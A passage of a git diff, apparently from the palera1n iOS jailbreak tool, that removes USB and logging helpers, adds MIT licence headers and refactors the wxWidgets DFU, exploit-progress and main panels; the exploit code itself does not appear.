bm_request_type, b_request, w_value, w_index, NULL, 0, transfer_ret); - } else if((p_data = malloc(w_len)) != NULL) { - memset(p_data, '\0', w_len); - ret = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, transfer_ret); - free(p_data); - } - return ret; -} - -bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { - bool ret = false; - void *p_data; - - if(w_len == 0) { - ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout, transfer_ret); - } else if((p_data = malloc(w_len)) != NULL) { - memset(p_data, '\0', w_len); - ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout, transfer_ret); - free(p_data); - } - return ret; -} diff --git a/src/usb/shim.h b/src/usb/shim.h deleted file mode 100644 index 8e751ba..0000000 --- a/src/usb/shim.h +++ /dev/null @@ -1,14 +0,0 @@ -#ifndef BACKEND_SHIM_H -#define BACKEND_SHIM_H - -#ifdef __APPLE__ -# include "iokit/usb_iokit.h" -#else -# include "libusb/usb_libusb.h" -#endif - -bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret); -bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret); -char *get_usb_serial_number(usb_handle_t *handle); - -#endif // BACKEND_SHIM_H diff --git a/src/utils.c b/src/utils.c deleted file mode 100644 index c3c9b6f..0000000 --- a/src/utils.c +++ /dev/null @@ -1,86 +0,0 @@ -#include "utils.h" - -#include -#include -#include -#include -#ifdef _WIN32 -# include -#endif - -#include "globals.h" -#include "paleinfo.h" - -static const char* level_color(log_level_t level) { - switch (level) { - case LOG_INFO: return CYAN_COLOR; - case LOG_SUCCESS: return GREEN_COLOR; - case LOG_WARN: return YELLOW_COLOR; - case LOG_ERROR: return RED_COLOR; - case LOG_VERBOSE: return RESET_COLOR; - default: return RESET_COLOR; - } -} - -static const char* level_name(log_level_t level) { - switch (level) { - case LOG_INFO: return "INFO"; - case LOG_SUCCESS: return "SUCCESS"; - case LOG_WARN: return "WARNING"; - case LOG_ERROR: return "ERROR"; - case LOG_VERBOSE: return "VERBOSE"; - default: return "LOG"; - } -} - -static const char* get_timestamp(void) { - static char buffer[32]; - time_t raw_time = time(NULL); - struct tm *time_info = localtime(&raw_time); - - if (time_info) { - // YYYY-MM-DD HH:MM:SS - strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", time_info); - } else { - snprintf(buffer, sizeof(buffer), "0000-00-00 00:00:00"); - } - return buffer; -} - -void log_write(log_level_t level, const char *fmt, ...) { - if (palerain_flags & palerain_option_tui) - return; - - va_list args; - va_start(args, fmt); - - char tag_buf[32]; - snprintf(tag_buf, sizeof(tag_buf), "<%s>", level_name(level)); - - if (palerain_flags & palerain_option_no_colors) { - printf(" %s%9s%s [%s%s%s] => ", - "", tag_buf, "", - "", get_timestamp(), ""); - } else { - printf(" %s%9s%s [%s%s%s] => ", - level_color(level), tag_buf, RESET_COLOR, - GRAY_COLOR, get_timestamp(), RESET_COLOR); - } - - vprintf(fmt, args); - printf("\n"); - - va_end(args); -} - -void sleep_ms(unsigned ms) { - #ifdef _WIN32 - Sleep(ms); - #else - struct timespec ts; - - ts.tv_sec = ms / 1000; - ts.tv_nsec = (ms % 1000) * 1000000L; - nanosleep(&ts, NULL); - #endif -} diff --git a/src/utils.h b/src/utils.h deleted file mode 100644 index 8e4f8f8..0000000 --- a/src/utils.h +++ /dev/null @@ -1,54 +0,0 @@ -#ifndef CONSTANTS_H -#define CONSTANTS_H - -#define PALERAIN_VERSION "3.0.0" - -#include -#include -#include -#include - -#define RESET_COLOR "\033[0m" -#define RED_COLOR "\033[31m" -#define GREEN_COLOR "\033[32m" -#define YELLOW_COLOR "\033[33m" -#define BLUE_COLOR "\033[34m" -#define MAGENTA_COLOR "\033[35m" -#define CYAN_COLOR "\033[36m" -#define WHITE_COLOR "\033[37m" -#define GRAY_COLOR "\033[90m" - -typedef enum { - LOG_INFO, - LOG_SUCCESS, - LOG_WARN, - LOG_ERROR, - LOG_VERBOSE -} log_level_t; - -#define LOG(fmt, ...) log_write(LOG_INFO, fmt, ##__VA_ARGS__) -#define LOG_SUCCESS(fmt, ...) log_write(LOG_SUCCESS, fmt, ##__VA_ARGS__) -#define LOG_WARN(fmt, ...) log_write(LOG_WARN, fmt, ##__VA_ARGS__) -#define LOG_ERROR(fmt, ...) log_write(LOG_ERROR, fmt, ##__VA_ARGS__) -#define LOG_VERBOSE(fmt, ...) log_write(LOG_VERBOSE, fmt, ##__VA_ARGS__) - -#ifdef __cplusplus -extern "C" { -#endif - -void log_write(log_level_t level, const char *fmt, ...); -void sleep_ms(unsigned ms); - -#ifdef __cplusplus -} -#endif - -static inline const char* time_now() { - static char buf[16]; - time_t t = time(NULL); - struct tm *tm_info = localtime(&t); - strftime(buf, sizeof(buf), "%H:%M:%S", tm_info); - return buf; -} - -#endif // CONSTANTS_H diff --git a/src/wx/AppFrame.cpp b/src/wx/AppFrame.cpp index e14a773..c350b80 100644 --- a/src/wx/AppFrame.cpp +++ b/src/wx/AppFrame.cpp @@ -1,10 +1,37 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_GUI #include "AppFrame.hpp" #include -#include "../utils.h" -#include "../event.hpp" +#include "../globals.h" +#include "../events/event.hpp" wxDEFINE_EVENT(EVT_DEVICE_STATE_UPDATE, wxCommandEvent); diff --git a/src/wx/AppFrame.hpp b/src/wx/AppFrame.hpp index 0bf9207..404a174 100644 --- a/src/wx/AppFrame.hpp +++ b/src/wx/AppFrame.hpp @@ -1,10 +1,37 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifndef APPFRAME_H #define APPFRAME_H #ifdef WITH_GUI #include -#include "../event.hpp" +#include "../events/event.hpp" #include "MainPanel.hpp" #include "SettingsPanel.hpp" diff --git a/src/wx/DevicePanel.hpp b/src/wx/DevicePanel.hpp index ccabf7a..8c3d316 100644 --- a/src/wx/DevicePanel.hpp +++ b/src/wx/DevicePanel.hpp @@ -1,8 +1,35 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifndef DEVICEPANEL_H #define DEVICEPANEL_H #include -#include "../event.hpp" +#include "../events/event.hpp" class MainFrame; class DevicePanel : public wxPanel diff --git a/src/wx/DfuPanel.cpp b/src/wx/DfuPanel.cpp index 73bd764..5fdec11 100644 --- a/src/wx/DfuPanel.cpp +++ b/src/wx/DfuPanel.cpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_GUI #include "DfuPanel.hpp" @@ -5,9 +32,8 @@ #include "AppFrame.hpp" #include "DevicePanel.hpp" -#include "../event.hpp" +#include "../events/event.hpp" #include "../sequence.hpp" -#include "../utils.h" #include "../globals.h" #include "../paleinfo.h" @@ -19,19 +45,17 @@ #include #include -#include "../gen/images/atv_std_brd.h" -#include "../gen/images/ipad.h" -#include "../gen/images/ipadmini.h" -#include "../gen/images/iphone6s.h" -#include "../gen/images/iphone7.h" -#include "../gen/images/iphone8.h" -#include "../gen/images/iphonese.h" -#include "../gen/images/iphonex.h" -#include "../gen/images/ipodtouch.h" -#include "../gen/images/siriremote.h" -#include "../gen/images/logo.h" - -#include +#include "../gen/embedded/atv_std_brd.h" +#include "../gen/embedded/ipad.h" +#include "../gen/embedded/ipadmini.h" +#include "../gen/embedded/iphone6s.h" +#include "../gen/embedded/iphone7.h" +#include "../gen/embedded/iphone8.h" +#include "../gen/embedded/iphonese.h" +#include "../gen/embedded/iphonex.h" +#include "../gen/embedded/ipodtouch.h" +#include "../gen/embedded/siriremote.h" +#include "../gen/embedded/logo.h" DfuPanel::DfuPanel(MainFrame* frame, wxWindow* parent) : DevicePanel(frame, parent) @@ -40,7 +64,7 @@ DfuPanel::DfuPanel(MainFrame* frame, wxWindow* parent) auto* root = new wxBoxSizer(wxHORIZONTAL); auto* left = new wxBoxSizer(wxVERTICAL); - wxMemoryInputStream stream(images_logo_png, images_logo_png_len); + wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len); wxImage img(stream, wxBITMAP_TYPE_PNG); wxBitmap bmp(img); auto* logo = new wxStaticBitmap(this, wxID_ANY, bmp); @@ -131,20 +155,20 @@ void DfuPanel::SetDeviceState(const DeviceState& state) if (m_isEnteringDfu && state.mode == DeviceMode::DFU) { m_isEnteringDfu = false; - m_headerText->SetLabel("Device entered DFU mode successfully.\n"); + m_headerText->SetLabel("Device entered DFU mode successfully."); m_index = m_sequence.steps.size(); m_stepRemaining = -1; m_actionExecutedIndex = -1; - const wxColour kInactive = + const wxColour inactive = wxSystemSettings::GetColour(wxSYS_COLOUR_GRAYTEXT); for (auto* lbl : m_stepLabels) - lbl->SetForegroundColour(kInactive); + lbl->SetForegroundColour(inactive); for (auto* lbl : m_buttonLabels) - lbl->SetForegroundColour(kInactive); + lbl->SetForegroundColour(inactive); if (!m_stagnentTimer.IsRunning()) m_stagnentTimer.StartOnce(3000); @@ -194,10 +218,10 @@ void DfuPanel::OnShow(wxShowEvent& event) void DfuPanel::LoadDevice(const std::string& productType) { - const wxColour kActive = + const wxColour active = wxSystemSettings::GetColour(wxSYS_COLOUR_HIGHLIGHTTEXT); - const wxColour kInactive = + const wxColour inactive = wxSystemSettings::GetColour(wxSYS_COLOUR_GRAYTEXT); m_sequence = ParseSequence(productType); @@ -221,53 +245,53 @@ void DfuPanel::LoadDevice(const std::string& productType) if (m_sequence.imageName == "ipadmini") { - imageData = images_ipadmini_png; - imageSize = images_ipadmini_png_len; + imageData = embedded_ipadmini_png; + imageSize = embedded_ipadmini_png_len; } else if (m_sequence.imageName == "ipad") { - imageData = images_ipad_png; - imageSize = images_ipad_png_len; + imageData = embedded_ipad_png; + imageSize = embedded_ipad_png_len; } else if (m_sequence.imageName == "iphonese") { - imageData = images_iphonese_png; - imageSize = images_iphonese_png_len; + imageData = embedded_iphonese_png; + imageSize = embedded_iphonese_png_len; } else if (m_sequence.imageName == "iphone6s") { - imageData = images_iphone6s_png; - imageSize = images_iphone6s_png_len; + imageData = embedded_iphone6s_png; + imageSize = embedded_iphone6s_png_len; } else if (m_sequence.imageName == "iphone7") { - imageData = images_iphone7_png; - imageSize = images_iphone7_png_len; + imageData = embedded_iphone7_png; + imageSize = embedded_iphone7_png_len; } else if (m_sequence.imageName == "iphone8") { - imageData = images_iphone8_png; - imageSize = images_iphone8_png_len; + imageData = embedded_iphone8_png; + imageSize = embedded_iphone8_png_len; } else if (m_sequence.imageName == "iphonex") { - imageData = images_iphonex_png; - imageSize = images_iphonex_png_len; + imageData = embedded_iphonex_png; + imageSize = embedded_iphonex_png_len; } else if (m_sequence.imageName == "ipodtouch") { - imageData = images_ipodtouch_png; - imageSize = images_ipodtouch_png_len; + imageData = embedded_ipodtouch_png; + imageSize = embedded_ipodtouch_png_len; } else if (m_sequence.imageName == "siriremote") { - imageData = images_siriremote_png; - imageSize = images_siriremote_png_len; + imageData = embedded_siriremote_png; + imageSize = embedded_siriremote_png_len; } else if (m_sequence.imageName == "atv_std_brd") { - imageData = images_atv_std_brd_png; - imageSize = images_atv_std_brd_png_len; + imageData = embedded_atv_std_brd_png; + imageSize = embedded_atv_std_brd_png_len; } if (imageData) @@ -318,7 +342,7 @@ void DfuPanel::LoadDevice(const std::string& productType) label ); - lbl->SetForegroundColour(i == 0 ? kActive : kInactive); + lbl->SetForegroundColour(i == 0 ? active : inactive); m_stepsSizer->Add(lbl, 0, wxTOP, 5); m_stepLabels.push_back(lbl); @@ -340,7 +364,6 @@ void DfuPanel::StartSequence(const DfuSequence& seq) m_actionExecutedIndex = -1; RunStep(); - m_timer.StartOnce(1000); } void DfuPanel::RunStep() @@ -348,108 +371,91 @@ void DfuPanel::RunStep() if (m_sequence.steps.empty()) return; - const wxColour kActive = + const wxColour active = wxSystemSettings::GetColour(wxSYS_COLOUR_HIGHLIGHTTEXT); - const wxColour kInactive = + const wxColour inactive = wxSystemSettings::GetColour(wxSYS_COLOUR_GRAYTEXT); + if (m_index < m_sequence.steps.size()) + { + if (m_stepRemaining < 0) + { + m_stepRemaining = m_sequence.steps[m_index].duration; + } + else if (m_stepRemaining > 0) + { + --m_stepRemaining; + } + + if (m_stepRemaining == 0) + { + ++m_index; + + if (m_index < m_sequence.steps.size()) + m_stepRemaining = m_sequence.steps[m_index].duration; + } + } + if (m_index >= m_sequence.steps.size()) { for (auto* lbl : m_stepLabels) - lbl->SetForegroundColour(kInactive); - - Layout(); - Refresh(); + lbl->SetForegroundColour(inactive); m_timer.Stop(); + Refresh(); return; } + for (size_t i = 0; i < m_stepLabels.size(); ++i) + { + auto* lbl = m_stepLabels[i]; + const auto& step = m_sequence.steps[i]; + + lbl->SetForegroundColour(i == m_index ? active : inactive); + + int remaining = step.duration; + + if (i == m_index) + remaining = m_stepRemaining; + else if (i < m_index) + remaining = 0; + + lbl->SetLabel(wxString::Format( + "%zu. %s (%d)", + i + 1, + step.description, + remaining + )); + } + + for (auto* lbl : m_buttonLabels) + lbl->SetForegroundColour(inactive); + + for (const auto& buttonId : m_sequence.steps[m_index].activeButtons) + { + for (const auto& btn : m_sequence.buttons) + { + if (btn.id != buttonId) + continue; + + for (auto* lbl : m_buttonLabels) + { + if (lbl->GetLabel() == btn.name) + lbl->SetForegroundColour(active); + } + } + } + const auto& step = m_sequence.steps[m_index]; - if (m_stepRemaining < 0) - m_stepRemaining = step.duration; - - if (m_stepRemaining > 0) - --m_stepRemaining; - - bool finished = (m_stepRemaining == 0); - size_t completedIndex = m_index; - - if (finished) + if (!step.action.empty() && + m_actionExecutedIndex != static_cast(m_index)) { - ++m_index; - m_stepRemaining = -1; - } + m_actionExecutedIndex = m_index; - for (size_t i = 0; i < m_stepLabels.size(); i++) - { - auto* lbl = m_stepLabels[i]; - - if (i == m_index) - { - lbl->SetForegroundColour(kActive); - - lbl->SetLabel(wxString::Format( - "%zu. %s (%d)", - i + 1, - m_sequence.steps[i].description, - m_stepRemaining < 0 ? m_sequence.steps[i].duration : m_stepRemaining - )); - } - else if (finished && i == completedIndex) - { - lbl->SetForegroundColour(kInactive); - - lbl->SetLabel(wxString::Format( - "%zu. %s (0)", - i + 1, - m_sequence.steps[i].description - )); - } - else - { - lbl->SetForegroundColour(kInactive); - } - } - - for (auto* lbl : m_buttonLabels) - lbl->SetForegroundColour(kInactive); - - const auto& activeStep = - (m_index < m_sequence.steps.size()) - ? m_sequence.steps[m_index] - : m_sequence.steps.back(); - - for (const auto& buttonId : activeStep.activeButtons) - { - for (const auto& btn : m_sequence.buttons) - { - if (btn.id == buttonId) - { - for (auto* lbl : m_buttonLabels) - { - if (lbl->GetLabel() == btn.name) - lbl->SetForegroundColour(kActive); - } - } - } - } - - if (m_index < m_sequence.steps.size()) - { - const auto& activeStep = m_sequence.steps[m_index]; - - if (!activeStep.action.empty() && m_actionExecutedIndex != m_index) - { - m_actionExecutedIndex = m_index; - - if (activeStep.action == "reboot") - { - Reboot(); - } - } + if (step.action == "reboot") + Reboot(); } Layout(); @@ -468,25 +474,7 @@ void DfuPanel::Reboot() if (!state.connected || state.mode != DeviceMode::Recovery) return; - irecv_client_t client = nullptr; - - int attempts = 0; - const int max_attempts = 8; - - while (attempts < max_attempts) - { - if (irecv_open_with_ecid(&client, state.ecid) == IRECV_E_SUCCESS) - break; - - attempts++; - std::this_thread::sleep_for(std::chrono::milliseconds(250)); - } - - if (!client) return; - irecv_setenv(client, "auto-boot", "true"); - irecv_saveenv(client); - irecv_reboot(client); - irecv_close(client); + exit_recovery(); }).detach(); } diff --git a/src/wx/DfuPanel.hpp b/src/wx/DfuPanel.hpp index 2d4726d..63b453e 100644 --- a/src/wx/DfuPanel.hpp +++ b/src/wx/DfuPanel.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifndef DFUPANEL_H #define DFUPANEL_H @@ -5,7 +32,7 @@ #include #include "DevicePanel.hpp" -#include "../event.hpp" +#include "../events/event.hpp" #include "../sequence.hpp" class DfuPanel; diff --git a/src/wx/ExploitPanel.cpp b/src/wx/ExploitPanel.cpp index eddc7ee..d4d4b8e 100644 --- a/src/wx/ExploitPanel.cpp +++ b/src/wx/ExploitPanel.cpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_GUI #include "ExploitPanel.hpp" @@ -19,16 +46,15 @@ using std::atomic_bool; #include #include "AppFrame.hpp" -#include "../m8/run.h" -#include "../utils.h" -#include "../gen/images/logo.h" +#include "../exploit.h" +#include "../gen/embedded/logo.h" ExploitPanel::ExploitPanel(MainFrame* frame, wxWindow* parent) : DevicePanel(frame, parent) { auto* root = new wxBoxSizer(wxHORIZONTAL); auto* left = new wxBoxSizer(wxVERTICAL); - wxMemoryInputStream stream(images_logo_png, images_logo_png_len); + wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len); wxImage img(stream, wxBITMAP_TYPE_PNG); wxBitmap bmp(img); auto* logo = new wxStaticBitmap(this, wxID_ANY, bmp); @@ -89,45 +115,50 @@ void ExploitPanel::StartExploit() return; } - auto state = std::make_shared(); - atomic_init(&state->stage, STAGE_RESET); - atomic_init(&state->stop, false); - atomic_init(&state->result, 0); + auto stage = std::make_shared>(STAGE_RESET); + auto result = std::make_shared>(0); - auto isFinished = std::make_shared>(false); - - std::thread worker([state, isFinished]() + std::thread worker([stage, result]() { - exploit(state.get()); - isFinished->store(true); + int ret = exploit(reinterpret_cast(stage.get())); + result->store(ret); + stage->store(ret == 0 ? STAGE_DONE : STAGE_ERROR); }); for (;;) { - int stage = atomic_load(&state->stage); - int progress = stage_to_progress(stage); - bool finished = isFinished->load(); + int currentStage = stage->load(); + int progress = stage_to_progress(currentStage); - wxTheApp->CallAfter([this, stage, progress, finished]() + wxTheApp->CallAfter([this, currentStage, progress, stage, result]() { - m_statusText->SetLabel(stage_to_string(stage)); + if (currentStage == STAGE_ERROR) { + const char* error = err_to_string(result->load()); + m_statusText->SetLabel( + wxString::Format("%s (%s)", stage_to_string(currentStage), error) + ); + m_progressBar->SetValue(0); + m_backButton->Enable(); + return; + } + + m_statusText->SetLabel(stage_to_string(currentStage)); m_progressBar->SetValue(progress); - if (finished || stage == STAGE_DONE) { + if (currentStage == STAGE_DONE) { m_backButton->Enable(); } }); - if (stage == STAGE_DONE || finished) { - atomic_store(&state->stop, true); + if (currentStage == STAGE_DONE || currentStage == STAGE_ERROR) break; - } std::this_thread::sleep_for(std::chrono::milliseconds(100)); } if (worker.joinable()) worker.join(); + }).detach(); } diff --git a/src/wx/ExploitPanel.hpp b/src/wx/ExploitPanel.hpp index ff6b3de..33962b5 100644 --- a/src/wx/ExploitPanel.hpp +++ b/src/wx/ExploitPanel.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifndef EXPLOITPANEL_HPP #define EXPLOITPANEL_HPP @@ -5,7 +32,7 @@ #include #include "DevicePanel.hpp" -#include "../event.hpp" +#include "../events/event.hpp" class ExploitPanel; class ExploitPanel : public DevicePanel diff --git a/src/wx/MainPanel.cpp b/src/wx/MainPanel.cpp index 70ad437..625b74d 100644 --- a/src/wx/MainPanel.cpp +++ b/src/wx/MainPanel.cpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_GUI #include "MainPanel.hpp" @@ -12,11 +39,10 @@ #include "AppFrame.hpp" #include "DevicePanel.hpp" -#include "../event.hpp" +#include "../events/event.hpp" #include "../globals.h" -#include "../utils.h" #include "../paleinfo.h" -#include "../gen/images/logo.h" +#include "../gen/embedded/logo.h" const char* deviceTextString = "No device connected"; const char* deviceTextString2 = "Please connect a device to get started.\nEnsure version range is 15.0+"; @@ -29,7 +55,7 @@ MainPanel::MainPanel(MainFrame* frame, wxWindow* parent) auto* left = new wxBoxSizer(wxVERTICAL); auto* right = new wxBoxSizer(wxVERTICAL); - wxMemoryInputStream stream(images_logo_png, images_logo_png_len); + wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len); wxImage img(stream, wxBITMAP_TYPE_PNG); wxBitmap bmp(img); @@ -185,23 +211,21 @@ void MainPanel::SetDeviceState(const DeviceState& state) if (m_deviceTitle && m_deviceSubtitle) { - if (!state.connected) + if (state.multipleDevices || state.connectedDeviceCount > 1) { - if (state.connectedDeviceCount > 1) - { - m_deviceTitle->SetLabel("Multiple devices detected"); - m_deviceSubtitle->SetLabel( - wxString::Format( - "%u USB devices connected. Disconnect extras and keep only one device attached.", - state.connectedDeviceCount - ) - ); - } - else - { - m_deviceTitle->SetLabel(deviceTextString); - m_deviceSubtitle->SetLabel(deviceTextString2); - } + m_deviceTitle->SetLabel("Multiple devices detected"); + m_deviceSubtitle->SetLabel( + wxString::Format( + 